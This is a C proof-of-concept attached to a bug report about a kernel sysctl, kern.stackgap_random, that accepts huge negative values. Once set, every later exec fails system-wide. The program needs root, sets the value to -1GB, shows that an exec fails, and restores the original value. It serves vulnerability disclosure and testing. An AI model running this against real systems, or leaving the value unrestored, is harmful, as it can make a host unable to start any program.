/* DF-2754: sysctl kern.stackgap_random accepts arbitrary negative values
 * (validation only applies to new_val > 0, kern_exec.c:160-162).  execve
 * then computes a STATIC gap ALIGN(-stackgap_random) (kern_exec.c:1167-1173);
 * a huge negative value pushes the args/env destination outside the stack
 * mapping and every subsequent exec fails system-wide until restored.
 *
 * This PoC flips the sysctl from inside ONE process, observes a failing
 * exec, and restores the original value before exiting, so the guest is
 * never left bricked.  Needs root. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/wait.h>

static int get_gap(void)
{ int v = 0; size_t l = sizeof(v);
  if (sysctlbyname("kern.stackgap_random", &v, &l, NULL, 0) != 0) { perror("sysctl get"); exit(1);} return v; }

static void set_gap(int v)
{ if (sysctlbyname("kern.stackgap_random", NULL, NULL, &v, sizeof(v)) != 0) { perror("sysctl set"); exit(1);} }

static int try_exec(void)
{
	pid_t p = fork();
	if (p == 0) {
		char *argv[] = {"/usr/bin/true", NULL};
		execve(argv[0], argv, NULL);
		fprintf(stderr, "    child: execve failed: %s\n", strerror(errno));
		_exit(42);
	}
	int st = 0; waitpid(p, &st, 0);
	if (WIFEXITED(st) && WEXITSTATUS(st) == 0) return 0;
	return WIFEXITED(st) ? WEXITSTATUS(st) : -1;
}

int main(void)
{
	int orig = get_gap(), r;

	printf("[*] kern.stackgap_random = %d (original)\n", orig);
	r = try_exec();
	printf("[*] exec /bin/true before: rc=%d (0=ok)\n", r);

	printf("[*] setting kern.stackgap_random = -1073741824 (-1GB, accepted?)\n");
	fflush(stdout);
	set_gap(-1073741824);
	printf("[*] sysctl ACCEPTED, now reads %d\n", get_gap());

	r = try_exec();
	printf("[%c] exec /bin/true after: rc=%d %s\n", r ? '+' : '-',
	    r, r ? "<-- SYSTEM-WIDE EXEC BROKEN" : "(still ok)");

	set_gap(orig);
	printf("[*] restored kern.stackgap_random = %d\n", get_gap());
	r = try_exec();
	printf("[*] exec /bin/true after restore: rc=%d (0=ok)\n", r);
	return 0;
}
